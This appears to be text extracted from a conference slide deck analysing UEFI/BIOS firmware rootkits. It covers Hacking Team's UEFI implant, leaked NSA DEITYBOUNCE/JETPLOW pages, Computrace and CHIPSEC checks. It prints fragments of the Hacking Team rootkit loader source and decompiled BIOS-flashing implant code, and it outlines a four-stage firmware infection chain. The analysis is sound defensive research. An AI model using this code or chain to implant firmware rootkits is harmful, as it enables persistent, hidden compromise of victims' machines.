UEFI Firmware Rootkits: Myths and Reality

(Revisited for ZeroNights)

Alex Matrosov
@matrosov

Eugene Rodionov
@vxradius

Agenda

- Historical overview of BIOS rootkits
- Threat Model for UEFI Rootkits
- BIOS Rootkits In-The-Wild
  - ✓ HackingTeam Rootkit
  - ✓ BIOS Implants
  - ✓ Computrace/LoJack
- BIOS Update Issues
- Secure Boot Issues
- Forensic Approaches

History of BIOS rootkits

Damaged

History of BIOS rootkits

History of BIOS rootkits

Threat Model for UEFI Rootkits

OS Kernel-Mode (Ring 0)

- **Mitigations:** PatchGuard, Code Signing Policy
- **Prevention:** AV HIPS

Boot code (MBR/VBR)

- **Mitigations:** Secure/Measured Boot
- **Prevention:** AV HIPS

BIOS/UEFI Firmware SMM (Ring -2)

- **Mitigations: ???** (Intel BIOS/Boot Guard? STM?)
- **Prevention: ???**

Legacy BIOS vs. UEFI

- No more MBR and VBR/IPL code
- Different hard drive partitioning scheme: GPT (GUID Partition Table)
- Secure Boot and Measured Boot

UEFI BIOS Firmware Rootkits

Patching UEFI "Option ROM"

UEFI DXE Driver in Add-On Card (Network, Storage ..)

Non-Embedded in FV in ROM

Adding/Replacing DXE Driver

Modified DriverOrder / Driver#### EFI variables

Replacing Windows Boot Manager

EFI System Partition (ESP) on Fixed Drive

ESP\EFI\Microsoft\Boot\bootmgfw.efi

Replacing Fallback Boot Loader

ESP\EFI\Boot\bootx64.efi

Adding New Boot Loader (bootkit.efi)

Modified BootOrder / Boot#### EFI variables

EFI_RUNTIME_SERVICES and HAL

Module: hal.dll

Name	Address
HalpIsEFIRuntimeActive	FFFFF800476329E0
HalEfiRuntimeServicesBlock	FFFFF800476690C0
HalpEfiBugcheckCallbackNextRuntimeServiceIndex	FFFFF80047669108
HalEfiRuntimeServicesTable	FFFFF80047669118
HalpEfiRuntimeCallbackRecord	FFFFF8004766BC58

Firmware Rootkit

- **Stage 1:**
  - ✓ **Client-Side Exploit drop installer (1)**
  - ✓ **Installer Elevate Privileges to System**
- **Stage 2:**
  - ✓ **Bypass Code Signing Policies**
  - ✓ **Install Kernel-Mode Payload (2)**
- **Stage 3:**
  - ✓ **Execute SMM exploit**
  - ✓ **Elevate Privileges to SMM**
  - ✓ **Execute Payload (3)**
- **Stage 4:**
  - ✓ **Bypass Flash Write Protection**
  - ✓ **Install Rootkit into Firmware**

```
[x][ =======================================================================
[x][ Module: BIOS Interface Lock (including Top Swap Mode)
[x][ =======================================================================
[*] BiosInterfaceLockDown (BILD) control = 1
[*] BIOS Top Swap mode is disabled (TSS = 0)
[*] RTC TopSwap control (TS) = 0
[+] PASSED: BIOS Interface is locked (including Top Swap Mode)

[*] running module: chipsec.modules.common.bios_wp
[*] Module path: c:\Chipsec\chipsec\modules\common\bios_wp.pyc
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
[*] BC = 0x08 << BIOS Control (b:d.f 00:31.0 + 0xDC)
    [00] BIOSWE           = 0 << BIOS Write Enable
    [01] BLE              = 0 << BIOS Lock Enable
    [02] SRC              = 2 << SPI Read Configuration
    [04] TSS              = 0 << Top Swap Status
    [05] SMM_BWP          = 0 << SMM BIOS Write Protection
[-] BIOS region write protection is disabled!

[*] BIOS Region: Base = 0x00A00000, Limit = 0x00FFFFFF
SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value    | Base     | Limit    | WP? | RP?
------------------------------------------------------------
PR0 (74)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR1 (78)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR2 (7C)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR3 (80)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR4 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0

[!] None of the SPI protected ranges write-protect BIOS region
```

```
[*] running module: chipsec.modules.common.bios_wp
[*] Module path: c:\Chipsec\chipsec\modules\common\bios_wp.pyc
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
[*] BC = 0xA2 << BIOS Control (b:d.f 00:31.0 + 0xDC)
    [00] BIOSWE           = 0 << BIOS Write Enable
    [01] BLE              = 1 << BIOS Lock Enable
    [02] SRC              = 0 << SPI Read Configuration
    [04] TSS              = 0 << Top Swap Status
    [05] SMM_BWP          = 1 << SMM BIOS Write Protection
[+] BIOS region write protection is enabled (writes restricted to SMM)

[*] BIOS Region: Base = 0x00000000, Limit = 0x00000FFF
SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value    | Base     | Limit    | WP? | RP?
------------------------------------------------------------
PR0 (74)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR1 (78)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR2 (7C)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR3 (80)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR4 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0

[!] None of the SPI protected ranges write-protect BIOS region

[+] PASSED: BIOS is write protected
```

Madness, as you
know, is a lot like
gravity, all it takes
is a little push.

WP
DELL
43Wh
Standard
Rechargeable
Li-ion Battery
Type: 5R9DD
11.1V
Please Disconnect and Remove Battery Before Accessing The Rest Parts and Devices
DELL
Battery Question?
Go to www.dell.com
Cells made in Korea
Assembled in China
CAUTION Do not expose the battery to temperatures above 65°C (149°F).
See the manual for safety instructions.
PRÉCAUTION Ne pas soumettre la batterie à des temperatures supérieures
à 65°C (149°F). Voir le manuel pour des instructions de sécurité.
VORSICHT Der Akku darf niemals Temperaturen über 65°C ausgesetzt
werden. Sicherheitsanweisungen finden Sie im Handbuch.
Li-ion
Japan Only

Recent BIOS Vulns For Persistent Infection

- **SMI Handlers(always an issue) –** memory corruption vulnerabilities can lead arbitrary SMM code execution
  - ✓ https://github.com/chipsec/chipsec/blob/master/chipsec/modules/tools/smm/smm_ptr.py

- **S3BootScript(VU #976132) -** arbitrary modification of platform firmware. Allows attacker arbitrarily read/write to the SMRAM region
  - ✓ https://github.com/chipsec/chipsec/blob/master/chipsec/modules/tools/uefi/s3script_modify.py

- **ThinkPwn(LEN-8324) –** arbitrary SMM code execution exploit for multiple BIOS vendors. Allows attacker to disable flash write protection and modify platform firmware
  - ✓ https://github.com/Cr4sh/ThinkPwn

- **Aptiocalypsis(INTEL-SA-00057) -** arbitrary SMM code execution exploit for AMI Aptio based firmware. Allows attacker to disable flash write protection and modify platform firmware
  - ✓ https://github.com/Cr4sh/Aptiocalypsis

BIOS Rootkits In-The-Wild

HakingTeam Vector-EDK

Hacking Team UEFI Implant

- First* discovery of non-PoC UEFI Malware
- Persistent copy of malicious agent inside BIOS

http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html

Hacking Team UEFI Implant : Modules

Hacking Team UEFI Implant: How It Works

- Load and execute main bootkit module *fsbg*
- Initialize NTFS protocol by loading NTFS driver
- Application *fsbg* installs malware onto NTFS volume

Hacking Team UEFI Implant: How It Works

```
EFI_STATUS
EFIAPI
_ModuleEntryPoint (
  IN EFI_HANDLE        ImageHandle,
  IN EFI_SYSTEM_TABLE  *SystemTable
  )
{
    EFI_EVENT Event;

    DEBUG((EFI_D_INFO, "Running RK loader.\n"));
    InitializeLib(ImageHandle, SystemTable);

    gReceived = FALSE;  // reset event!

    //CpuBreakpoint();

    // wait for EFI_EVENT_GROUP_READY_TO_BOOT
    gBootServices->CreateEventEx(0x200, 0x10, &CallbackSMI, NULL, &SMBIOS_TABLE_GUID, &Event);

    return EFI_SUCCESS;
}
```

```
...

EFI_GUID LAUNCH_APP =
{
    0xeaea9aec,
    0xc9c1,
    0x46e2,
    { 0x9d, 0x52, 0x43, 0x2a, 0xd2, 0x5a, 0x9b, 0x0b }
};

...

    NewFilePathProtocol = (EFI_DEVICE_PATH_PROTOCOL *) ((UINT8 *) NewDevicePathProtocol + DevicePathLength);
    NewFilePathProtocol->Type = 0x04;
    NewFilePathProtocol->SubType = 0x06;
    NewFilePathProtocol->Length[0] = 0x14;
    NewFilePathProtocol->Length[1] = 0x00;
    gBootServices->CopyMem(((CHAR8 *)(NewFilePathProtocol) + 4), &LAUNCH_APP, sizeof(EFI_GUID));


    NewDevicePathEnd = (EFI_DEVICE_PATH_PROTOCOL *) ((UINT8 *) NewDevicePathProtocol + DevicePathLength + sizeof(EFI_GUID) + 4);

    NewDevicePathEnd->Type = 0x7f;
    NewDevicePathEnd->SubType = 0xff;
    NewDevicePathEnd->Length[0] = 0x04;
    NewDevicePathEnd->Length[1] = 0x00;

    Status = gBootServices->LoadImage(FALSE, gImageHandle, NewDevicePathProtocol, NULL, 0, &ImageLoadedHandle);

...

EFI_STATUS
EFIAPI
_ModuleEntryPoint (
  IN EFI_HANDLE        ImageHandle,
  IN EFI_SYSTEM_TABLE  *SystemTable
  )
{
    EFI_EVENT Event;

    DEBUG((EFI_D_INFO, "Running RK loader.\n"));
    InitializeLib(ImageHandle, SystemTable);

    gReceived = FALSE;  // reset event!

    // wait for EFI_EVENT_GROUP_READY_TO_BOOT
    gBootServices->CreateEventEx(0x200, 0x10, &CallbackSMI, NULL, &SMBIOS_TABLE_GUID, &Event);

    return EFI_SUCCESS;
}
```

```
...

EFI_GUID LAUNCH_APP =
{
    0xeaea9aec,
    0xc9c1,
    0x46e2,
    { 0x9d, 0x52, 0x43, 0x2a, 0xd2, 0x
};

...

    NewFilePathProtocol = (EFI_DEVICE_                                  DevicePathLength);
    NewFilePathProtocol->Type = 0x04;
    NewFilePathProtocol->SubType = 0x0
    NewFilePathProtocol->Length[0] = 0
    NewFilePathProtocol->Length[1] = 0
    gBootServices->CopyMem(((CHAR8 *)(                                  GUID));

    NewDevicePathEnd = (EFI_DEVICE_PAT                                  vicePathLength + sizeof(EFI_GUID) + 4);

    NewDevicePathEnd->Type = 0x7f;
    NewDevicePathEnd->SubType = 0xff;
    NewDevicePathEnd->Length[0] = 0x04
    NewDevicePathEnd->Length[1] = 0x00

    Status = gBootServices->LoadImage(                                  , &ImageLoadedHandle);

...

EFI_STATUS
EFIAPI
_ModuleEntryPoint (
  IN EFI_HANDLE        ImageHandle,
  IN EFI_SYSTEM_TABLE  *SystemTable
  )
{
    EFI_EVENT Event;

    DEBUG((EFI_D_INFO, "Running RK loa
    InitializeLib(ImageHandle, SystemT

    gReceived = FALSE;  // reset event

    // wait for EFI_EVENT_GROUP_READY
    gBootServices->CreateEventEx(0x200                                  ent);

    return EFI_SUCCESS;
}
```

FIND_XXXXX_FILE_BUFFER_SIZE
CALC_OFFSET
UefiMain
CheckfTA
SetfTA
CheckAL
InstallAgent
InsertFileLock
RemoveFileLock
TestIsUserNotEmpty
FileHandleGetInfo
FileHandleSetPosition
FileHandleIsDirectory
FileHandleFindFirstFile
FileHandleRead
GetHandleListByProtocol
FileHandleFindNextFile
CheckUsers
GetImageFromFv
GetImageEx
UefiMain

Hacking Team UEFI Implant: How It Works

```
#define FILE_NAME_SCOUT L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
#define FILE_NAME_SOLDIER L"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"
#define FILE_NAME_ELITE  L"\\AppData\\Local\\"
#define DIR_NAME_ELITE L"\\AppData\\Local\\Microsoft\\"


// (20 * (6+5+2))+1) unicode characters from EFI FAT spec (doubled for bytes)
#define MAX_FILE_NAME_LEN 512
#define FIND_XXXXX_FILE_BUFFER_SIZE (SIZE_OF_EFI_FILE_INFO + MAX_FILE_NAME_LEN)
#define CALC_OFFSET(type, base, offset) (type)((UINTN)base + (UINT32) offset)

#ifdef FORCE_DEBUG
UINT16 g_NAME_SCOUT[] =   L"scoute.exe";
UINT16 g_NAME_SOLDIER[] = L"soldier.exe";
UINT16 g_NAME_ELITE[]   = L"elite";
#else
//32 byte per inserire 16 caratteri unicode
UINT16 g_NAME_SCOUT[] =   L"6To_60S7K_FU06yjEhjh5dpFw96549UU";
UINT16 g_NAME_SOLDIER[] = L"kdfas7835jfwe09j29FKFLDOR3r35fJR";
UINT16 g_NAME_ELITE[]   = L"eorpekf3904kLDKQO023iosdn93smMXK";
#endif
```

Hacking Team UEFI Implant: How It Works

- https://github.com/hackedteam/soldier-win
- https://github.com/hackedteam/scout-win
- https://github.com/hackedteam/core-win64
- https://github.com/hackedteam/core-win32

- https://github.com/hackedteam/vector-edk

Hacking Team : Results

How can I deploy the Agent?

- Via SPI programmer circuit (physical access to motherboard);
- Via Service Mode (recovery device);
- Via firmware upgrade (actually SecureFlash limitation to bypass);
- Via exploitation of firmware vulnerability

]HackingTeam[

UEFITool 0.20.6 - PE-at-000025C8-Z5WE1X64.fd

File Action Help

Structure

Name	Ac	Type	Subtype	Text
03C1F5C8-48F1-416E-A6B6-992DF3BBACA6		File	DXE driver	A01SmmServiceBody
4F43F1CA-064F-493A-990E-1E90E72A0767		File	Freeform	
37946B52-EC4B-46AF-AB83-76DBBE1E13C1		File	Freeform	
37946B52-EC4B-46AF-AB83-76DBBE1E13D1		File	Freeform	
37946B52-EC4B-46AF-AB83-76DBBE1E13C3		File	Freeform	
37946B52-EC4B-46AF-AB83-76DBBE1E13D3		File	Freeform	
37946B52-EC4B-46AF-AB83-76DBBE1E13C4		File	Freeform	
37946B52-EC4B-46AF-AB83-76DBBE1E13D4		File	Freeform	
37946B52-EC4B-46AF-AB84-77DBBE1E13C6		File	Freeform	
37946B52-EC4B-46AF-AB84-77DBBE1E13C8		File	Freeform	
37946B52-EC4B-46AF-AB84-77DBBE1E13C9		File	Freeform	
CC243581-112F-441C-815D-6D8DB3659619		File	DXE driver	D2DRecovery
4CAC73B1-7C53-4DC1-B6FA-42A15260409A		File	Freeform	
F306F460-2DC9-4B5D-9410-83585F1ADD80		File	Freeform	
C9963F83-F593-4C82-9626-C310FFE4223B		File	DXE driver	MemTest
426A7245-6CBF-499A-94CE-02ED69AFC993		File	DXE driver	MemoryDiagnosticBios
A91CC287-4871-41EB-AE92-6DC9CCB8E8B3		File	DXE driver	HddDiagnostic
F7B0E92D-AB47-4A1D-8BDE-41E529EB5A70		File	DXE driver	UnlockPswd
466C4F69-2CE5-4163-99E7-5A673F9C431C		File	DXE driver	VGAInformation
8DA47F11-AA15-48C8-B0A7-23EE4852086B		File	DXE driver	A01WMISmmHandler
C74233C1-96FD-4CB3-9453-55C9D77CE3C8		File	DXE driver	WM00WMISmmHandler
F50248A9-2F4D-4DE9-86AE-BDA84D07A41C		File	DXE driver	Ntfs
F50258A9-2F4D-4DA9-861E-BDA84D07A44C		File	DXE driver	rkloader
PE32 image section		Section	PE32 image	
User interface section		Section	User interface	
Version section		Section	Version	
EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B		File	Application	
PE32 image section		Section	PE32 image	
Volume free space		Free space		
Volume free space		Free space		
Padding		Padding	Non-empty	

Information

File GUID: F50258A9-2F4D-4DA9-861E-BDA84D07A44C
Type: 07h
Attributes: 00h
Full size: 702h (1794)
Header size: 18h (24)
Body size: 6EAh (1770)
State: F8h

Messages

parseBios: one of volumes inside overlaps the end of data
parseBios: one of volumes inside overlaps the end of data
parseVolume: unknown file system FFF12B8D-7696-4C8B-A985-2747075B4F50

Name	Size	Modified
245 37946B52-EC4B-46AF-AB83-76DBBE1E13D4	67,166	7/6/2015 3:10:02 PM
246 37946B52-EC4B-46AF-AB84-77DBBE1E13C6	38,568	7/6/2015 3:10:02 PM
247 37946B52-EC4B-46AF-AB84-77DBBE1E13C8	32,892	7/6/2015 3:10:02 PM
248 37946B52-EC4B-46AF-AB84-77DBBE1E13C9	31,011	7/6/2015 3:10:02 PM
249 D2DRecovery	14,230	7/6/2015 3:10:02 PM
250 4CAC73B1-7C53-4DC1-B6FA-42A15260409A	1,107	7/6/2015 3:10:02 PM
251 F306F460-2DC9-4B5D-9410-83585F1ADD80	1,189	7/6/2015 3:10:02 PM
252 MemTest	40,700	7/6/2015 3:10:03 PM
253 MemoryDiagnosticBios	7,585	7/6/2015 3:10:03 PM
254 HddDiagnostic	27,211	7/6/2015 3:10:03 PM
255 UnlockPswd	27,196	7/6/2015 3:10:03 PM
256 VGAInformation	16,567	7/6/2015 3:10:03 PM
257 A01WMISmmHandler	87,950	7/6/2015 3:10:03 PM
258 WM00WMISmmHandler	34,182	7/6/2015 3:10:03 PM
259 Volume free space	6,943,865	7/6/2015 3:10:03 PM
body.bin	12,582,840	7/6/2015 3:09:57 PM
header.bin	72	7/6/2015 3:09:57 PM
info.txt	286	7/6/2015 3:09:57 PM
body.bin	12,582,924	7/6/2015 3:09:57 PM
header.bin	4	7/6/2015 3:09:57 PM
info.txt	121	7/6/2015 3:09:57 PM
body.bin	1,665,728	7/6/2015 3:09:57 PM
header.bin	9	7/6/2015 3:09:57 PM
info.txt	234	7/6/2015 3:09:57 PM
body.bin	1,665,737	7/6/2015 3:09:57 PM
header.bin	24	7/6/2015 3:09:57 PM
info.txt	218	7/6/2015 3:09:57 PM
1 Volume free space	3,511,578	7/6/2015 3:10:03 PM
body.bin	5,177,272	7/6/2015 3:09:57 PM
header.bin	72	7/6/2015 3:09:57 PM
info.txt	301	7/6/2015 3:09:57 PM
2 Padding	127,054	7/6/2015 3:10:03 PM
3 FFF12B8D-7696-4C8B-A985-2747075B4F50	184,619	7/6/2015 3:10:03 PM
4 7A9354D9-0468-444A-81CE-0BF617D890DF	2,085,496	7/6/2015 3:10:03 PM

Name	Size	Modified
245 37946B52-EC4B-46AF-AB83-76DBBE1E13D4	67,166	7/6/2015 3:11:01 PM
246 37946B52-EC4B-46AF-AB84-77DBBE1E13C6	38,568	7/6/2015 3:11:01 PM
247 37946B52-EC4B-46AF-AB84-77DBBE1E13C8	32,892	7/6/2015 3:11:01 PM
248 37946B52-EC4B-46AF-AB84-77DBBE1E13C9	31,011	7/6/2015 3:11:01 PM
249 D2DRecovery	14,230	7/6/2015 3:11:01 PM
250 4CAC73B1-7C53-4DC1-B6FA-42A15260409A	1,107	7/6/2015 3:11:02 PM
251 F306F460-2DC9-4B5D-9410-83585F1ADD80	1,189	7/6/2015 3:11:02 PM
252 MemTest	40,700	7/6/2015 3:11:02 PM
253 MemoryDiagnosticBios	7,585	7/6/2015 3:11:02 PM
254 HddDiagnostic	27,211	7/6/2015 3:11:02 PM
255 UnlockPswd	27,196	7/6/2015 3:11:02 PM
256 VGAInformation	16,567	7/6/2015 3:11:02 PM
257 A01WMISmmHandler	87,950	7/6/2015 3:11:02 PM
258 WM00WMISmmHandler	34,182	7/6/2015 3:11:02 PM
259 Ntfs	531,873	7/6/2015 3:11:02 PM
260 rkloader	4,139	7/6/2015 3:11:02 PM
261 EAEA9AEC-C9C1-46E2-9D52-432AD25A9B0B	1,061,090	7/6/2015 3:11:02 PM
262 Volume free space	6,146,001	7/6/2015 3:11:02 PM
body.bin	12,582,840	7/6/2015 3:10:56 PM
header.bin	72	7/6/2015 3:10:56 PM
info.txt	286	7/6/2015 3:10:56 PM
body.bin	12,582,924	7/6/2015 3:10:56 PM
header.bin	4	7/6/2015 3:10:56 PM
info.txt	121	7/6/2015 3:10:56 PM
body.bin	2,131,568	7/6/2015 3:10:56 PM
header.bin	9	7/6/2015 3:10:56 PM
info.txt	234	7/6/2015 3:10:56 PM
body.bin	2,131,577	7/6/2015 3:10:56 PM
header.bin	24	7/6/2015 3:10:56 PM
info.txt	218	7/6/2015 3:10:56 PM
1 Volume free space	3,045,738	7/6/2015 3:11:02 PM
body.bin	5,177,272	7/6/2015 3:10:56 PM
header.bin	72	7/6/2015 3:10:56 PM
info.txt	301	7/6/2015 3:10:56 PM
2 Padding	127,054	7/6/2015 3:11:02 PM
3 FFF12B8D-7696-4C8B-A985-2747075B4F50	184,619	7/6/2015 3:11:02 PM
4 7A9354D9-0468-444A-81CE-0BF617D890DF	2,085,496	7/6/2015 3:11:02 PM

I'M NOT A
MONSTER

DEITYBOUNCE

SECRET//COMINT//REL TO USA, FVEY

DEITYBOUNCE

ANT Product Data

(TS//SI//REL) DEITYBOUNCE provides software application persistence on Dell PowerEdge servers by exploiting the motherboard BIOS and utilizing System Management Mode (SMM) to gain periodic execution while the Operating System loads.

06/20/08

(TS//SI//REL) DEITYBOUNCE Extended Concept of Operations

(TS//SI//REL) This technique supports multi-processor systems with RAID hardware and Microsoft Windows 2000, 2003, and XP. It currently targets Dell PowerEdge 1850/2850/1950/2950 RAID servers, using BIOS versions A02, A05, A06, 1.1.0, 1.2.0, or 1.3.7.

(TS//SI//REL) Through remote access or interdiction, ARKSTREAM is used to re-flash the BIOS on a target machine to implant DEITYBOUNCE and its payload (the implant installer). Implantation via interdiction may be accomplished by non-technical operator though use of a USB thumb drive. Once implanted, DEITYBOUNCE's frequency of execution (dropping the payload) is configurable and will occur when the target machine powers on.

Status: Released / Deployed. Ready for Immediate Delivery

Unit Cost: $0

POC: [redacted], S32221, [redacted], [redacted]@nsa.ic.gov

Derived From: NSA/CSSM 1-52
Dated: 20070108
Declassify On: 20320108

SECRET//COMINT//REL TO USA, FVEY

- Only Snowden-leaked documentation is available for analysis
- Safe to assume that servers use legacy BIOS[1]

1. *http://resources.infosecinstitute.com/nsa-bios-backdoor-god-mode-malware-deitybounce/*

DEITYBOUNCE Workflow

BANANABALLOT and JETPLOW (Equation Group)

JETPLOW

ANT Product Data

(TS//SI//REL) JETPLOW is a firmware persistence implant for Cisco PIX Series and ASA (Adaptive Security Appliance) firewalls. It persists DNT's BANANAGLEE software implant. JETPLOW also has a persistent back-door capability.

06/24/08

(TS//SI//REL) JETPLOW Persistence Implant Concept of Operations

(TS//SI//REL) JETPLOW is a firmware persistence implant for Cisco PIX Series and ASA (Adaptive Security Appliance) firewalls. It persists DNT's BANANAGLEE software implant and modifies the Cisco firewall's operating system (OS) at boot time. If BANANAGLEE support is not available for the booting operating system, it can install a Persistent Backdoor (PBD) designed to work with BANANAGLEE's communications structure, so that full access can be reacquired at a later time. JETPLOW works on Cisco's 500-series PIX firewalls, as well as most ASA firewalls (5505, 5510, 5520, 5540, 5550).

(TS//SI//REL) A typical JETPLOW deployment on a target firewall with an exfiltration path to the Remote Operations Center (ROC) is shown above. JETPLOW is remotely upgradeable and is also remotely installable provided BANANAGLEE is already on the firewall of interest.

Status: (C//REL) Released. Has been widely deployed. Current availability restricted based on OS version (inquire for details).

Unit Cost: $0

POC: [redacted], S32222, [redacted], [redacted]@nsa.ic.gov

Derived From: NSA/CSSM 1-52
Dated: 20070108
Declassify On: 20320108

BBALL_AM29F4-2131.mod

```
File: BBALL_AM29F4-2131.exe
Name: biosModule_AM29F4
Version: 0x02010301
Priority: 10
ID: 65793
chain: 0x10000000
Command: handler_readBIOS
Command: handler_writeBIOS
Command: handler_setCmos
MUNGE
FINAL
<interface>
<menu>
  <menuItem>
        <itemText> Read BIOS_AM29F4 Memory</itemText>
        <queryList>
                <query> Enter Bios Address:</query>
                <query> Enter number of bytes to read:</query>
        </queryList>
        <miniProg>
                <progName>BM_readBIOS</progName>
                <handler>handler_readBIOS</handler>
                <argList>
                        <arg>--biosaddr</arg>
                        <arg>--bioslen</arg>
                </argList>
        </miniProg>
  </menuItem>

  <menuItem>
        <itemText> Write a file to BIOS_AM29F4 memory</itemText>
        <queryList>
                <query> Address to write data:</query>
                <query> Enter Filename of binary data to write: </query>
        </queryList>
        <miniProg>
                <progName>BM_writeBIOS</progName>
                <handler>handler_writeBIOS</handler>
                <argList>
                        <arg>--biosAddr</arg>
                        <arg>--writeFile</arg>
                </argList>
        </miniProg>
  </menuItem>
</menu>
</interface>
```

Name	Address
writeBios_asaBios	00001350
chipRead_asaBios	000017C0
kmodData	000021C0
reverse6	00001EC0
reverse4	00001E90
sizeof_kmodData	000021A0
comparePixOSVersion	00001F70
checksum_uint32	00001D20
cmosReadByte	00001B50
writeBios	00000410
readBios_asaBios	00001300
checksum_bios	00000080
handler_writeBIOS	00000ED0
handler_readBIOS	00000BD0
isPixOS	00001F00
fix_ip_cksum_incr	00001E20
setupTable	000000F0
reverse2	00001E70
unsetupTable	000001F0
readBios	000002D0
Platform_5505	00002160
chipWrite_asaBios	000018D0
determineBios	00000940
unlock_asaBios	000013B0
NewChecksum	00001D50
compareNetscreenOSVersion	00002060
__i686.get_pc_thunk.bx	00002125
_GLOBAL_OFFSET_TABLE_	00002DC0
handler_setCmos	00001210
unlock_asaBios_5505	000015A0
entryPoint	000000E0
getPhysicalAddress	00000200
free	000020F0
cmosWriteByte	00001B70
OS_VER	00000065
_etext	00002DA4
_start	00000000
GOT_START	00000070

```
  if ( !isPixOS(*(NET + 4)) )
    return 1;
  if ( bfl_fetchOsUns(NET + 8, "BiosClassAddr", &temp1) )
  {
    fwrite("Bios Class Address information could not be read\n", 1, 49, stdout);
    fwrite("You will not be able to read or Write to Bios\n", 1, 46, stdout);
    a1[6] = 0;
    result = 0;
  }
  else
  {
    v2 = NET;
    v3 = *(NET + 4) < 0x700u;
    v4 = *(NET + 4) == 1792;
    a1[6] = temp1;
    if ( v3 || v4 )
    {
      if ( bfl_fetchOsUns(v2 + 8, "BiosReadE28F6", &temp1) )
      {
        v5 = &stdout;
        fwrite("Bios Read Address information could not be read\n", 1, 48, stdout);
LABEL_7:
        fwrite("You will not be able to read or Write to Bios\n", 1, 46, *v5);
        a1[9] = 0;
        result = 0;
        a1[8] = 0;
        return result;
      }
      a1[8] = temp1;
      if ( bfl_fetchOsUns(NET + 8, "BiosLockE28F6", &temp1) )
      {
        v5 = &stdout;
        fwrite("Bios Lock Address information could not be read\n", 1, 48, stdout);
        goto LABEL_7;
      }
      a1[9] = temp1;
      if ( bfl_fetchOsUns(NET + 8, "BiosWriteAddr5", &temp1) )
      {
        v5 = &stdout;
        fwrite("Bios Write Address information could not be read\n", 1, 49, stdout);
        goto LABEL_7;
      }
      a1[7] = temp1;
      return 1;
    }
```

```
if ( !isPixOS(*(NET + 4)) )
  return 1;
if ( bfl_fetchOsUns(NET + 8, "BiosClassAddr", &temp1) )
{
  fwrite("Bios Class Address information could not be read\n", 1, 49, stdout);
  fwrite("You will not be able to read or Write to Bios\n", 1, 46, stdout);
  a1[6] = 0;
  result = 0;
}
else
{
  v2 = NET;
  v3 = *(NET + 4) < 0x700u;
  v4 = *(NET + 4) == 1792;
```

```
.got_loader:00000000 ; Source File : 'checksum_bios.c'
.got_loader:00000000 ; Source File : 'entryPoint.c'
.got_loader:00000000 ; Source File : 'pageTable.c'
.got_loader:00000000 ; Source File : 'coreBiosModule.c'
.got_loader:00000000 ; Source File : 'determineBios.c'
.got_loader:00000000 ; Source File : 'writeSpeedPlow.c'
.got_loader:00000000 ; Source File : 'asaBios.c'
.got_loader:00000000 ; Source File : 'cmos.c'
.got_loader:00000000 ; Source File : 'Components/Modules/BiosModule/Implant/ASABIOS/../asaBios_asm.S'
.got_loader:00000000 ; Source File : 'checksum_uint32.c'
.got_loader:00000000 ; Source File : 'byteOrdering.c'
.got_loader:00000000 ; Source File : 'osVersionChecking.c'
.got_loader:00000000 ; Source File : 'free_stub.c'
```

```
    v5 = &stdout;
    fwrite("Bios Lock Address information could not be read\n", 1, 48, stdout);
    goto LABEL_7;
  }
  a1[9] = temp1;
  if ( bfl_fetchOsUns(NET + 8, "BiosWriteAddr5", &temp1) )
  {
    v5 = &stdout;
    fwrite("Bios Write Address information could not be read\n", 1, 49, stdout);
    goto LABEL_7;
  }
  a1[7] = temp1;
  return 1;
}
```

Don’t miss the talk:

JETPLOW is dead. Long live the JETPLOW!

by Roman Bazhin and Maxim Malyutin

Main Track at 5pm

https://dsec.ru/ipm-research-center/research/architecture_jetplow/

Computrace/LoJack

Computrace/LoJack

- Legitimate application that provides anti-theft protection.
- Implements rootkit functionality to “persist” on the system
- Contains UEFI BIOS components to perform its activities

ThinkPad Setup

Security

Computrace	Item Specific Help
Computrace Module Activation - Current Setting [Disabled] - Current State Not Activated	Enables or disables the BIOS interface to activate Computrace module. Computrace is an optional monitoring service from Absolute Software. [Enabled] Enables the Computrace activation. [Disabled] Disables the Computrace activation. [Permanently Disabled] Permanently disables the Computrace

F1	Help	↑↓	Select Item	+/-	Change Values	F9	Setup Defaults
Esc	Exit	←→	Select Menu	Enter	Select ▶ Sub-Menu	F10	Save and Exit

UEFITool 0.21.5 - SpiDump.IMAD-PC.20160929.164707.bin

File Action Help

Structure

Name	Action	Type	Subtype	Text
F746D37F-F6C6-43C0-94DB-466F5F1…		File	SMM module	LenovoFingerprintSmm
8FEEECF1-BCFD-4A78-9231-4801566…		File	Application	AbsoluteComputraceInstaller
PE32 image section		Section	PE32 image	
User interface section		Section	User interface	
Version section		Section	Version	
4EFC51DA-23A6-4790-A292-4985C7F…		File	DXE driver	LenovoComputraceEnablerDxe
DXE dependency section		Section	DXE dependency	
PE32 image section		Section	PE32 image	
User interface section		Section	User interface	
Version section		Section	Version	
4589CBF3-03F9-4998-9D6F-26343C6…		File	DXE driver	LenovoComputraceLoaderDxe
DXE dependency section		Section	DXE dependency	
PE32 image section		Section	PE32 image	
User interface section		Section	User interface	
Version section		Section	Version	
18578E75-D073-4203-90D2-8788A87…		File	SMM module	LenovoComputraceSmiServices
SMM dependency section		Section	SMM dependency	
PE32 image section		Section	PE32 image	
User interface section		Section	User interface	
Version section		Section	Version	
4C7D1568-CF73-4676-A079-16F7F96…		File	SMM module	LenovoSecuritySmiDispatch
621DE6C6-0F5E-4EE3-A102-0BDE769…		File	DXE driver	LenovoRemoteConfigUpdateDxe

Information

File GUID: 8FEEECF1-BCFD-4A78-9231-4801566B3567
Type: 09h
Attributes: 00h
Full size: D66Eh (54894)
Header size: 18h (24)
Body size: D656h (54870)
State: F8h

Messages

parseRegion: ME region is empty
parseVolume: unknown file system FFF12B8D-7696-4C8B-A985-2747075B4F50
parseFile: non-empty pad-file contents will be destroyed after volume modifications

